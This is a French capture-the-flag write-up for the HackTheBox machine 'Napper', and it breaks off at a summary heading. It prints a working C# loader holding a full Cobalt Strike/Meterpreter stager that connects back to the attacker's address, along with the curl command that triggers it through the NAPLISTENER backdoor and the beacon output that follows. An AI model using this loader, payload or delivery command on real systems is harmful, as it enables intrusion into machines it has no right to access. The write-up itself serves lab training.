Windows Box : Napper
Table of contents
Introduction
Cette box windows avait la particularité de ne pas reposer sur de l’exploitation d’Active Directory comme c’est souvent le cas sur HackTheBox. Même si la première partie pour flag l’user était assez peu technique, la privesc reposait sur du Reverse Engineering d’un binaire codé en Go. Donc j’ai décidé d’en faire un Write Up! On commence par un scan nmap comme d’hab!
Reconnaissance
Comme précisé dans l’intro, la machine à attaquer ne fait pas partie d’un domaine, on n’a donc pas les ports spécifiques à un controlleur de domaine:
nmap -sC -sV -p- 10.10.11.240
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-06 18:51 EST
Nmap scan report for app.napper.htb (10.10.11.240)
Host is up (0.026s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to https://app.napper.htb
|_http-server-header: Microsoft-IIS/10.0
443/tcp open ssl/http Microsoft IIS httpd 10.0
|_http-generator: Hugo 0.112.3
|_http-server-header: Microsoft-IIS/10.0
|_ssl-date: 2024-01-06T23:53:44+00:00; +2s from scanner time.
| http-methods:
|_ Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=app.napper.htb/organizationName=MLopsHub/stateOrProvinceName=California/countryName=US
| Subject Alternative Name: DNS:app.napper.htb
| Not valid before: 2023-06-07T14:58:55
|_Not valid after: 2033-06-04T14:58:55
| tls-alpn:
|_ http/1.1
|_http-title: Research Blog | Home
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 1s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 157.02 seconds
On a donc juste un serveur Internet Information Services
qui tourne sur le port 443 / 80 et et qui héberge entre autre le sous-domaine app.napper.htb
. Après avoir ajouté le nom de domaine dans notre fichier /etc/hosts
voilà à quoi ressemble le site web hébergé:
Enumeration
Ca ressemble à un blog de hacking classique avec un thème hugo, on va tenter deux énumérations: Une sur les chemins d’accès du site et l’autre sur les sous-domaines. Pour l’énumération des sous-domaines avec gobuster, il faut bien passer par l’option vhost
qui va injecter dans l’en-tête Host
et pas par l’option dns
qui elle va se baser sur des requêtes DNS. De plus sur les version récentes, bien penser à mettre l’option --append-domain
lorsque l’on teste avec le domaine de base.
Pour l’énumération des chemins d’accès, on a pas grand chose de pertinet:
gobuster dir -u https://napper.htb -k -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://napper.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/js (Status: 301) [Size: 145] [--> https://napper.htb/js/]
/css (Status: 301) [Size: 146] [--> https://napper.htb/css/]
/page (Status: 301) [Size: 147] [--> https://napper.htb/page/]
/tags (Status: 301) [Size: 147] [--> https://napper.htb/tags/]
/. (Status: 200) [Size: 5602]
/fonts (Status: 301) [Size: 148] [--> https://napper.htb/fonts/]
/CSS (Status: 301) [Size: 146] [--> https://napper.htb/CSS/]
/categories (Status: 301) [Size: 153] [--> https://napper.htb/categories/]
En revanche pour l’énumération des sous-domaines on a quelque chose de plus concluant!
gobuster vhost -u https://napper.htb -k -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://napper.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: internal.napper.htb Status: 401 [Size: 1293]
Après avoir ajouté le sous domaine au fichier hosts, on est vite stoppé par une demande d’authentification et après avoir testé les méthodes classiques de confusions de méthodes, on peut se décider à aller chercher dans le contenu du blog en quête d’indices:
L’article qui attire naturellement l’attention c’est celui qui traite de la mise en place de la Basic Authentication
sur un IIS avec Powershell:
Ici le tutoriel suivi utilise une Secure-String
basée sur un mot de passe en clair, on peut donc tester les identifiants: example
/ ExamplePassword
au cas où le propriétaire du blog aurait simplement copié collé le contenu du tutoriel, et Bingo!
curl -k https://internal.napper.htb -u example:ExamplePassword -I
HTTP/2 200
content-length: 4115
content-type: text/html
last-modified: Thu, 08 Jun 2023 11:54:48 GMT
accept-ranges: bytes
etag: "21184609ad91:0"
server: Microsoft-IIS/10.0
date: Sun, 07 Jan 2024 00:13:09 GMT
On a maintenant accès au sous domaine interne du site avec un article en plus:
Accès
Hmm il est question d’une backdoor nommée NAPLISTENER
(qui existe vraiment, il y’a de la doc à son sujet ici). Cette backdoor serait donc testée actuellement par l’équipe d’analyse de malware sur la machine, il va nous falloir trouver un moyen d’y avoir accès. En se renseignant un peu on découvre que la backdoor est censée exécuté un assembly .NET encodé en Base64 et passé à l’endpoint /ews/MsExgHealthCheckd/
dans le paramètre sdafwe3rwe23
. Pour vérifier que le serveur IIS est bien infecté par la backdoor on peut remarquer la présence d’un en-tête server
supplémentaire renvoyé lorsque l’on accède à l’endpoint utilisé par la backdoor:
curl -k https://10.10.11.240/ews/MsExgHealthCheckd/:443 -I
HTTP/2 404
content-length: 0
content-type: text/html; charset=utf-8
server: Microsoft-IIS/10.0 Microsoft-HTTPAPI/2.0
x-powered-by: ASP.NET
date: Sun, 07 Jan 2024 00:30:59 GMT
l’en tête Microsoft-HTTPAPI/2.0
correspond à l’espace de noms .NET System.Net
qui définit la classe HttpListener
utilisée par la backdoor.
Pour construire mon payload je vais utiliser un stager Cobalt Strike
, l’assembly se chargera de l’injecter en mémoire en utilisant une méthode classique (on est sur HackTheBox, vu le niveau de difficulté de la box, l’AV n’est probablement pas activé).
Pour compiler l’assembly on va utiliser Visual Studio et Créer un nouveau projet C# de type Bibliothèque de classes
. Voilà le code du programme qui va charger notre stager dans la mémoire non managée:
using System;
using System.Net;
using System.Runtime.InteropServices;
namespace DropperMeterpreter
{
public static class Globals
{
public static byte[] shellcode = new byte[797] { 0xfc, 0xe8, 0x89, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf0, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x42, 0x3c, 0x01, 0xd0, 0x8b, 0x40, 0x78, 0x85, 0xc0, 0x74, 0x4a, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x8b, 0x58, 0x20, 0x01, 0xd3, 0xe3, 0x3c, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0x31, 0xc0, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf4, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe2, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x58, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x86, 0x5d, 0x68, 0x6e, 0x65, 0x74, 0x00, 0x68, 0x77, 0x69, 0x6e, 0x69, 0x54, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x31, 0xff, 0x57, 0x57, 0x57, 0x57, 0x57, 0x68, 0x3a, 0x56, 0x79, 0xa7, 0xff, 0xd5, 0xe9, 0x84, 0x00, 0x00, 0x00, 0x5b, 0x31, 0xc9, 0x51, 0x51, 0x6a, 0x03, 0x51, 0x51, 0x68, 0x50, 0x00, 0x00, 0x00, 0x53, 0x50, 0x68, 0x57, 0x89, 0x9f, 0xc6, 0xff, 0xd5, 0xeb, 0x70, 0x5b, 0x31, 0xd2, 0x52, 0x68, 0x00, 0x02, 0x40, 0x84, 0x52, 0x52, 0x52, 0x53, 0x52, 0x50, 0x68, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x89, 0xc6, 0x83, 0xc3, 0x50, 0x31, 0xff, 0x57, 0x57, 0x6a, 0xff, 0x53, 0x56, 0x68, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x0f, 0x84, 0xc3, 0x01, 0x00, 0x00, 0x31, 0xff, 0x85, 0xf6, 0x74, 0x04, 0x89, 0xf9, 0xeb, 0x09, 0x68, 0xaa, 0xc5, 0xe2, 0x5d, 0xff, 0xd5, 0x89, 0xc1, 0x68, 0x45, 0x21, 0x5e, 0x31, 0xff, 0xd5, 0x31, 0xff, 0x57, 0x6a, 0x07, 0x51, 0x56, 0x50, 0x68, 0xb7, 0x57, 0xe0, 0x0b, 0xff, 0xd5, 0xbf, 0x00, 0x2f, 0x00, 0x00, 0x39, 0xc7, 0x74, 0xb7, 0x31, 0xff, 0xe9, 0x91, 0x01, 0x00, 0x00, 0xe9, 0xc9, 0x01, 0x00, 0x00, 0xe8, 0x8b, 0xff, 0xff, 0xff, 0x2f, 0x6e, 0x68, 0x37, 0x4f, 0x00, 0x23, 0x6e, 0x65, 0x9b, 0xf6, 0x14, 0x96, 0x54, 0x0e, 0xd4, 0xa5, 0x23, 0x30, 0x34, 0x8c, 0x5d, 0x2c, 0x56, 0x03, 0x3f, 0x8d, 0x6a, 0x5a, 0x88, 0xb8, 0x51, 0xf4, 0x3c, 0x13, 0x01, 0x79, 0xc0, 0x47, 0x0b, 0x2c, 0x50, 0xde, 0x12, 0x37, 0x51, 0x60, 0x52, 0xfa, 0xd5, 0xe6, 0x15, 0xfa, 0xc8, 0xb8, 0x31, 0x99, 0xe4, 0x8e, 0x6a, 0x47, 0x04, 0xd1, 0x9c, 0xa1, 0xb1, 0xf3, 0xbf, 0x01, 0x2e, 0x32, 0xd1, 0xf1, 0xbb, 0xad, 0xd9, 0x7e, 0x26, 0x95, 0x00, 0x55, 0x73, 0x65, 0x72, 0x2d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20, 0x4d, 0x6f, 0x7a, 0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x35, 0x2e, 0x30, 0x20, 0x28, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6c, 0x65, 0x3b, 0x20, 0x4d, 0x53, 0x49, 0x45, 0x20, 0x39, 0x2e, 0x30, 0x3b, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x4e, 0x54, 0x20, 0x36, 0x2e, 0x31, 0x3b, 0x20, 0x57, 0x4f, 0x57, 0x36, 0x34, 0x3b, 0x20, 0x54, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x2f, 0x35, 0x2e, 0x30, 0x3b, 0x20, 0x4d, 0x41, 0x4c, 0x43, 0x4a, 0x53, 0x29, 0x0d, 0x0a, 0x00, 0x8b, 0x10, 0x65, 0x14, 0xf4, 0x7e, 0xec, 0x01, 0xe9, 0x16, 0x2e, 0x3d, 0x76, 0x34, 0x0d, 0x0e, 0xb1, 0x02, 0x56, 0x5b, 0xe4, 0x5a, 0x75, 0xbd, 0x32, 0xc5, 0xe3, 0x2c, 0xf1, 0x95, 0x36, 0x8a, 0x7f, 0x49, 0x9f, 0x0d, 0x4b, 0x50, 0x04, 0x46, 0x67, 0x3e, 0x0a, 0xf7, 0x36, 0xb8, 0xb5, 0x10, 0x2f, 0x26, 0xf3, 0x6e, 0x63, 0xc9, 0x7d, 0x78, 0x0f, 0x85, 0x20, 0x3c, 0x25, 0x78, 0x40, 0x30, 0x59, 0x61, 0x1b, 0x54, 0xdd, 0xa2, 0x4e, 0xae, 0x8b, 0x85, 0x84, 0xd3, 0x15, 0xd5, 0xeb, 0xac, 0x77, 0xdc, 0xa1, 0x4a, 0x40, 0x63, 0xb9, 0x0f, 0x3c, 0x77, 0x11, 0xde, 0x80, 0xd9, 0x52, 0x45, 0x52, 0x61, 0xec, 0x86, 0xd2, 0x3e, 0x3e, 0x6f, 0xb6, 0x77, 0x24, 0xf6, 0x69, 0xae, 0x4f, 0x01, 0xce, 0x3d, 0x18, 0x29, 0x29, 0x3d, 0xf6, 0x7a, 0xc9, 0x14, 0x25, 0x34, 0x2f, 0x57, 0x95, 0xbc, 0x26, 0xd5, 0x00, 0x17, 0x17, 0x00, 0x25, 0x59, 0xb6, 0xdc, 0x5e, 0xd7, 0x89, 0xfa, 0x11, 0x4b, 0x35, 0x04, 0x10, 0x57, 0x33, 0x25, 0x8f, 0xcd, 0x8f, 0x7c, 0x72, 0x12, 0x28, 0x7c, 0x1d, 0xad, 0xbb, 0x98, 0x0e, 0x63, 0xa3, 0x1b, 0x98, 0xc5, 0x68, 0x39, 0x08, 0xed, 0x5d, 0x16, 0xb8, 0x6a, 0xe5, 0xaa, 0xa9, 0x94, 0x82, 0x24, 0x7e, 0x0d, 0x8a, 0x0d, 0xbe, 0x0f, 0x19, 0x65, 0x86, 0xcd, 0x4a, 0xc2, 0x4b, 0xef, 0x55, 0x81, 0x74, 0xeb, 0x19, 0x82, 0x3e, 0x21, 0x68, 0xdb, 0x73, 0xdb, 0xee, 0x46, 0x00, 0x68, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x6a, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x68, 0x00, 0x00, 0x40, 0x00, 0x57, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x01, 0xd9, 0x51, 0x53, 0x89, 0xe7, 0x57, 0x68, 0x00, 0x20, 0x00, 0x00, 0x53, 0x56, 0x68, 0x12, 0x96, 0x89, 0xe2, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0xc6, 0x8b, 0x07, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xe5, 0x58, 0xc3, 0xe8, 0xa9, 0xfd, 0xff, 0xff, 0x31, 0x30, 0x2e, 0x31, 0x30, 0x2e, 0x31, 0x34, 0x2e, 0x32, 0x30, 0x37, 0x00, 0x3a, 0xde, 0x68, 0xb1 };
}
public class Run
{
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public Run()
{
IntPtr alloc = VirtualAlloc(IntPtr.Zero, Globals.shellcode.Length, (uint)(AllocationType.Commit | AllocationType.Reserve), (uint)MemoryProtection.ExecuteReadWrite);
if (alloc == IntPtr.Zero)
{
return;
}
Marshal.Copy(Globals.shellcode, 0, alloc, Globals.shellcode.Length);
IntPtr threadHandle = CreateThread(IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}
[Flags]
public enum FreeType
{
Decommit = 0x4000,
Release = 0x8000,
}
[Flags]
public enum AllocationType
{
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
Physical = 0x400000,
TopDown = 0x100000,
WriteWatch = 0x200000,
LargePages = 0x20000000
}
[Flags]
public enum MemoryProtection
{
Execute = 0x10,
ExecuteRead = 0x20,
ExecuteReadWrite = 0x40,
ExecuteWriteCopy = 0x80,
NoAccess = 0x01,
ReadOnly = 0x02,
ReadWrite = 0x04,
WriteCopy = 0x08,
GuardModifierflag = 0x100,
NoCacheModifierflag = 0x200,
WriteCombineModifierflag = 0x400
}
}
Je ne vais pas rentrer dans les détails étant donné que c’est une boilerplate de shellcode très classique. Néanmoins il est important de noter qu’étant donné que le processus qui va charger notre assembly est un processus x86
, il faut donc générer un shellcode x86
et pas x64
et idem pour la compilation dans Visual Studio, bien mettre l’option Any CPU
pour la cible. Je pense que cela peut poser problème dans des cas d’accès au PEB
par exemple (de manière générale pour les injections de code dans des processus, bien respecter l’architecture du processus hôte). Une fois cela pris en compte on peut tester l’envoi de notre payload comme ceci:
curl -k "https://10.10.11.240:443/ews/MsExgHealthCheckd/" --data-urlencode "sdafwe3rwe23=$(base64 DropperMeterpreter.dll)"
Et on obtient bien une session sur le TeamServer
:
Cette sessions tourne sous l’utilisateur ruben
à un niveau d’intégrité standard:
USER INFORMATION
----------------
User Name SID
============ ==============================================
napper\ruben S-1-5-21-1567175541-2888103920-4161894620-1001
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
==================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\BATCH Well-known group S-1-5-3 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled
Après avoir récupéré le flag user à C:\Users\ruben\Desktop\user.txt
, on commence à chercher aux endroits habituels pour pour trouver un moyen de privesc:
C:\inetpub
(là où est stocké le code et les données d’un serveur IIS)C:\Users\ruben
(Le dossier utilisateur)C:\Program Files\
(Le dossier d’installation des programmes par défault)
On peut aussi lister les utilisateurs locaux:
[02/04 10:47:52] beacon> shell net user
[02/04 10:47:52] [*] Tasked beacon to run: net user
[02/04 10:47:52] [+] host called home, sent: 39 bytes
[02/04 10:47:52] [+] received output:
User accounts for \\NAPPER
-------------------------------------------------------------------------------
Administrator backup DefaultAccount
example Guest ruben
WDAGUtilityAccount
The command completed successfully.
[02/04 10:46:28] beacon> shell net user backup
[02/04 10:46:28] [*] Tasked beacon to run: net user backup
[02/04 10:46:28] [+] host called home, sent: 46 bytes
[02/04 10:46:28] [+] received output:
User name backup
Full Name backup
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 2/4/2024 7:42:36 AM
Password expires Never
Password changeable 2/4/2024 7:42:36 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 2/3/2024 3:08:58 PM
Logon hours allowed All
Local Group Memberships *Administrators
Global Group memberships *None
The command completed successfully.
L’utilisateur backup
fait partie des administrateurs locaux, c’est de ce compte que l’on devra prendre le contrôle.
On peut aussi essayer de lister les ports ouverts en interne pour trouver des services internes:
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 896
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 2896
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 672
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 516
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1080
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 1464
TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 652
TCP 10.10.11.240:139 0.0.0.0:0 LISTENING 4
TCP 127.0.0.1:9200 0.0.0.0:0 LISTENING 4852
TCP 127.0.0.1:9300 0.0.0.0:0 LISTENING 4852
TCP [::]:80 [::]:0 LISTENING 4
TCP [::]:135 [::]:0 LISTENING 896
TCP [::]:443 [::]:0 LISTENING 4
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:49664 [::]:0 LISTENING 672
TCP [::]:49665 [::]:0 LISTENING 516
TCP [::]:49666 [::]:0 LISTENING 1080
TCP [::]:49667 [::]:0 LISTENING 1464
TCP [::]:49668 [::]:0 LISTENING 652
UDP 0.0.0.0:123 *:* 6032
UDP 0.0.0.0:5050 *:* 2896
UDP 0.0.0.0:5353 *:* 1880
UDP 0.0.0.0:5355 *:* 1880
UDP 10.10.11.240:137 *:* 4
UDP 10.10.11.240:138 *:* 4
UDP 10.10.11.240:1900 *:* 4668
UDP 10.10.11.240:62071 *:* 4668
UDP 127.0.0.1:1900 *:* 4668
UDP 127.0.0.1:49664 *:* 2752
UDP 127.0.0.1:62072 *:* 4668
UDP [::]:123 *:* 6032
UDP [::]:5353 *:* 1880
UDP [::]:5355 *:* 1880
UDP [::1]:1900 *:* 4668
UDP [::1]:62070 *:* 4668
UDP [fe80::b5d1:843e:603a:e055%10]:1900 *:* 4668
UDP [fe80::b5d1:843e:603a:e055%10]:62069 *:* 4668
Les ports 9200 et 9300 sont associés au service Elasticsearch
. C’est dans le dossier temporaire C:\Temp
qu’on trouve le code du blog:
[01/07 10:38:05] beacon> ls
[01/07 10:38:05] [*] Tasked beacon to list files in .
[01/07 10:38:05] [+] host called home, sent: 19 bytes
[01/07 10:38:05] [*] Listing: c:\Temp\www\internal\
Size Type Last Modified Name
---- ---- ------------- ----
dir 06/09/2023 00:18:40 archetypes
dir 06/08/2023 11:14:20 assets
dir 06/09/2023 00:18:40 content
dir 06/08/2023 11:14:20 data
dir 06/08/2023 11:14:20 layouts
dir 06/09/2023 00:18:41 public
dir 06/09/2023 00:18:40 resources
dir 06/08/2023 11:14:20 static
dir 06/09/2023 00:18:41 themes
0b fil 06/09/2023 00:18:40 .hugo_build.lock
1003b fil 06/09/2023 00:18:40 hugo.toml
Dans le dossier content
qui contient le contenu des articles en MarkDown on remarque un article qui n’est pas encore publié sur le blog
---
title: "**INTERNAL** Getting rid of LAPS"
description: Replacing LAPS with out own custom solution
date: 2023-07-01
draft: true
tags: [internal, sysadmin]
---
# Intro
We are getting rid of LAPS in favor of our own custom solution.
The password for the `backup` user will be stored in the local Elastic DB.
IT will deploy the decryption client to the admin desktops once it it ready.
We do expect the development to be ready soon. The Malware RE team will be the first test group.
Il explique que le serveur Elasticsearch est entre autre utilisé pour garder le mot de passe de l’utilisateur backup
et que la machine implémente une solution custom pour le générer à la place de LAPS. Dans le dossier internal-laps-alpha
On trouve la version alpha du système LAPS custom:
[01/07 11:08:24] beacon> cd internal-laps-alpha
[01/07 11:08:24] [*] cd internal-laps-alpha
[01/07 11:08:24] [+] host called home, sent: 27 bytes
[01/07 11:08:26] beacon> ls
[01/07 11:08:26] [*] Tasked beacon to list files in .
[01/07 11:08:26] [+] host called home, sent: 19 bytes
[01/07 11:08:26] [*] Listing: c:\Temp\www\internal\content\posts\internal-laps-alpha\
Size Type Last Modified Name
---- ---- ------------- ----
82b fil 06/09/2023 00:28:35 .env
12mb fil 06/09/2023 00:20:07 a.exe
On télécharge les deux fichiers pour pouvoir en faire une analyse plus approfondie.
Rétro-ingéniérie
Le premier fichier contient un ensemble de variables d’environnement et le second est un exécutable Windows:
cat .env
ELASTICUSER=user
ELASTICPASS=DumpPassword\$Here
ELASTICURI=https://127.0.0.1:9200
file a.exe
a.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows, 13 sections
On charge le binaire dans IDA et on découvre que le binaire a été codé en Go ce qui va nous compliquer un peu la tâche. Heureusement le binaire n’est pas complètement strippé ce qui fait qu’entre autre les noms des RTTI
seront toujours présents ce qui ne sera pas du luxe pour faire le retypage. En effet on peut voir dans les types locaux que beaucoup de structures on été ajoutés:
On commence par jeter un oeil aux fonctions et à leurs noms, étant donné que le binaire est codé en Go, il est statiquement linké ce qui implique que tous les symboles nécessaires comme ceux associés au runtime vont être présents et cela vaut aussi pour les libs externes comme par exemples github_com_joho_godotenv_
qui est donc un package importé. On peut trouver le code de la fonction main_main
qui est la fonction main du package main, là où le programme en tant que tel commence. Voilà un aperçu de la décompilation dans IDA Pro:
Et même si IDA 8.3 arrive à retrouver les strings Go (pas de null byte, comme en Rust) ainsi que quelques structures (http_Transport
)c’est peu lisible surtout sur la fin , on est bien sur du Go 😖. Je ne vais pas rentrer dans tous les détails mais voilà des points importants à prendre en compte:
- Même si IDA prend en compte la convention d’appel de Golang: Les arguments sont passées dans
RAX, RBX, RCX, RDI, RSI, R8, R9, R10, R11
et les variables de retour retournées par valeurs sont passées dansRAX
etRBX
. Ce qui fait que si une fonction retourne une paire de valeur avec une option d’erreur comme par exemple:
b, err := json.Marshal(var)
if err != nil {
fmt.Println("error:", err)
}
os.Stdout.Write(b)
err
sera retournée à partir de RBX
mais si la fonction n’est pas bien prototypée pour retourner une valeur contenue dans deux registres, le décompilateur ne va pas considérer RBX
comme un valeur de retour si bien qu’une des clause du if
ne sera pas affichée comme sur l’exemple ci-dessous où je n’ai appliqué aucune modification:
Le décompilateur affiche seulement le basic block d’erreur qui appelle Log.Fatal
.
Bien penser à utilser l’option
set call type
en plus de retyper les pointeurs de fonctions.Etant donné que les librairies sont linkés directement dans le binaire, il faudra souvent se référrer au code source pour voir les prototypes des fonctions, par défault IDA a du mal à trouver le bon nombre d’arguments passé à une fonction par exemple:
On se réferre au code source du package elasticsearch
de Go sur github:
Et on retype la fonction:
- Tout comme le Rust, le Go va visisblement faire usage des registres mis à disposition par le
SSE
et notamment pour mettre à zéro 16 bytes mémoire d’un coup, pour les strings par exemple:
Les fonctions nommées
main_funcN
sont des fonctions anonymes parfois utilisées par le runtime, dans notre cas il ne sera pas utile de les reverse.L’usage des types génériques se fait en passant paramètre
RTYPE
associé à un pointeur. Par exemple pour le typeany
qui est un aliais pour une interface videinterface{}
et notamment utilisé dans le binaire par la fonctionjson.Unmarshal
qui prend en argument une slice de bytes et un pointeur de typeany
vers un objet où déserialiser le JSON. Voilà comment l’appel àjson.Unmarshal
pourrait être décompilé:
On voit bien que la structure passée en second paramètre a deux champs avec le premier qui indique le type pointé par le second. Pour obtenir ce résultat j’ai créé le type local suivant:
struct any_main_Seed
{
const int* rtype;
_ptr_main_Seed main_seed_ptr;
};
Analyse de la fonction main.main
Une fois tous les ajustements fait, le code parait un peu plus lisible même si évidemment il y’a beaucoup d’appels qui servent au runtime pour le garbage collector notamment:
On remarque quand même que le programme va utiliser la fonction os.Getenv
pour récupérer les variables d’environnement contenues dans le premier fichier. Ensuite le programme crée un objet config
qu’il utilise pour contacter le serveur elasticsearch sur l’endpoint_seed/1
via une requête GET
et vérifie si la requête retourne une erreur:
Ensuite il extrait de la réponse JSON un objet de la structure main.Seed
dont il va dériver une clé qu’il passera à la fonction genKey
:
On va avant ça jeter un oeil aux autres fonctions du module main.
Analyse de la fonction main.randStringList
Cette fonction se passe de commentaire, elle va juste piocher au hasard 40 lettres dans l’alphabet minuscule et majuscule et les retouner dans une string. Ici le principal obstacle à la décompilation est l’usage d’une stack string avec des caractères unicode, c’est pourquoi IDA ne nous sort pas une belle chaine de caractères même si c’est un simple alphabet a-zA-Z
:
Analyse de la fonction main.genKey
Cette fonction aussi est très simple, elle utilise la graine retournée par le serveur pour générer une slice de 16 nombres aléatoires.
Je ne vais pas trop rentrer dans les détails de la fonction main.encrypt
car elle va simplement chiffrer la chaine de 40 caractères aléatoires avec la clé dérivée de la graine envoyée par le serveur en utilisant un iv lui aussi dérivé de la graine en utilisantl le package crypto.rand
. Le chiffrement se fait avec de l’AES CFB de manière très similaire à ce code là disponible dans la documentation du module crypto. La chaine chiffrée est ensuite encodée en base 64.
Suite de la fonction main.main
On remarque ensuite que la fonction main essaye de créer un nouvel indice dans la base de données elasticsearch nommé user-00001
:
Ensuite le programme va récupérer la chaine encodée en base64, l’associer au timestamp actuel et stocker le résultat dans un objet JSON sous la forme d’une tranche de bytes:
Et c’est ces données JSON qui sont ensuite envoyés avec une requète POST vers l’endpoint user-00001
récemment créé.
Et c’est là que le programme devient intéressant:
Ce code va mettre à jour le mot de passe de l’utilisateur backup avec la commande net user backup <nouveau_mdp>
et on remarque que le mot de passe mis à jour consiste en les 40 caractères aléatoires générés dans la fonction randStringList
.
Résumé de la rétro-ingéniérie
